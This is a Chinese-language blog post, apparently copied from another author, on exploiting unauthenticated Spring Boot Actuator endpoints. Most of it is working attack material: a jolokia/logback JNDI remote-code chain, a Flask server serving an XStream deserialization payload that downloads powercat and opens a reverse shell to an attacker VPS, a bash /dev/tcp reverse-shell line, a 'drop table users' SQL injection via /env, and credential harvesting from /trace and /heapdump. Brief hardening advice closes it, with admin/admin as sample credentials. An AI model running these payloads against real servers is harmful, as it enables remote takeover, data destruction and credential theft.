Springboot之actuator未授权访问

copy 子杰的哈,懒的写了

 

0x01 

未授权访问可以理解为需要授权才可以访问的页面由于错误的配置等其他原因,导致其他用户可以直接访问,从而引发各种敏感信息泄露。

0x02 Spring Boot Actuator未授权访问

/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序

当 web 应用程序出现 4xx、5xx 错误时显示类似以下页面就能确定当前 web 应用是使用了 springboot 框架。

1)通过'/ jolokia'执行远程代码

前置条件:
在jolokia/list目录检索存在logback组件,则可以使用jolokia远程包含logback.xml配置文件,直接执行远程引用字节码:
http://127.0.0.1:9090/jolokia/list

 

1.在VPS上创建logback.xml,logback中填写jndi服务,当调用时直接触发恶意class。

<configuration>
  <insertFromJNDI env-entry-name="ldap://vps_ip:1389/jndi" as="appName" />
</configuration>

2.创建反弹shell的恶意class,并监听端口8081
javac Exploit.java -> Exploit.class

3.利用marshalsec创建jndi server地址指向恶意class监听的端口8081:

4.监听反弹shell端口:

5.访问springboot以下链接触发远程访问VPS地址logback.xml:
http://127.0.0.1:9090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPS地址:8080!/logback.xml
触发回显2333端口接收到主机whomai结果:

 2 Config modification via '/env'

当第一种找不到logback配置可以尝试修改env配置文件进行xstream反序列化
前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
比如测试前台json报错泄露包名就是使用netflix:

需要以下2个包

spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)

1.在VPS创建xstream文件,使用flask返回application/xml格式数据:

# linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/xstream', defaults={'path': ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                    <string>powershell</string>
                    <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
                      <string>powercat -c [vps地址] -p 2333 -e cmd</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='172.31.245.127', port=2333)

2.启动服务:

 
python3 flask_xstream.py

3.写入配置:

POST /env HTTP/1.1
Host: 127.0.0.1:9090
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

eureka.client.serviceUrl.defaultZone=http://vps:2333/xstream

刷新触发[POST]:
一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用

获取反弹shell:

2) 这个主要通过访问/trace 路径获取用户认证字段信息
可能会在其 trace 路径下,除了记录有基本的 HTTP 请求信息可能有包括用户 token、cookie 等字段: 

3) 这个主要通过/env 路径获取这些服务的配置信息修改配置信息

运气好会有mysql、mangodb 的用户名及密码

如果Spring Cloud Libraries在类路径中,则'/ env'端点允许修改Spring环境属性。注释为“ @ConfigurationProperties”的所有bean 都可以修改和重新绑定。我们可以控制的许多(但不是全部)属性列在'/ configprops'执行器端点上。

spring.datasource.tomcat.validationQuery = drop + table + users - 允许任何SQL查询,它将自动对当前数据库执行。它可以是任何语句,包括插入,更新或删除。

4) git 项目地址泄露

这个一般是在/health 路径,比如如下站点,访问其 health 路径可探测到站点 git 项目地址:

5) 这个一般是在/heapdump 路径获取后台用户账号密码泄露
访问/heapdump 路径,返回 GZip 压缩 hprof 堆转储文件。在 Android studio 打开,会泄露站点内存信息,很多时候会包含后台用户的账号密码。

防范措施

如果上述请求接口不做任何安全限制,安全隐患显而易见。实际上Spring Boot也提供了安全限制功能。比如要禁用/env接口,则可设置如下:

endpoints.env.enabled= false

如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:

endpoints.enabled = false
endpoints.metrics.enabled = true

另外也可以引入spring-boot-starter-security依赖

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
</dependency>

在application.properties中指定actuator的端口以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。

management.port=8099
management.security.enabled=true
security.user.name=admin
security.user.password=admin
posted @ 2019-12-19 10:26  Junsec  阅读(6133)  评论(0编辑  收藏